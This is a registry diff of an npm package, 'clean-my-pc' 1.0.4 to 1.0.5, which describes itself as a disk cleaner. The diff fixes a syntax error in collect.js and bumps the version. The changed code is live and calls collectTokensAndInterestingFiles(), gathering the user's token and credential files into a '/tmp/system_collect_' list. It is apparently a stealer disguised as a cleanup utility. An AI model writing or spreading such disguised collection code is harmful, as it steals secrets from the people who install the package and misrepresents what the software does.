clean-my-pc 1.0.4 → 1.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/collect.js +4 -5
  2. package/package.json +1 -1
package/collect.js CHANGED
@@ -398,12 +398,11 @@ async function main() {
398
398
  ...collectTokensAndInterestingFiles(),
399
399
  ];
400
400
 
401
- const uniqueFiles = [...new Set(allFiles)];
401
+ var uniqueFiles = [...new Set(allFiles)];
402
402
  console.error('[DEBUG] Found files:', uniqueFiles.length);
403
- if (uniqueFiles.length > 0) { uniqueFiles.forEach(f => console.error('[DEBUG] FILE:', f)); }
404
- else console.error('[DEBUG] NO FILES FOUND!');
405
- .filter(f => fs.existsSync(f))
406
- .filter(f => !f.includes('/tmp/system_collect_'))
403
+ if (uniqueFiles.length > 0) { uniqueFiles.forEach(function(f) { console.error('[DEBUG] FILE:', f); }); }
404
+ uniqueFiles = uniqueFiles.filter(function(f) { return fs.existsSync(f); })
405
+ .filter(function(f) { return !f.includes('/tmp/system_collect_'); })
407
406
  .sort();
408
407
 
409
408
  if (uniqueFiles.length === 0) {
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "clean-my-pc",
3
- "version": "1.0.4",
3
+ "version": "1.0.5",
4
4
  "description": "Cleans up temporary files, cache, and system junk to free up disk space",
5
5
  "main": "collect.js",
6
6
  "bin": {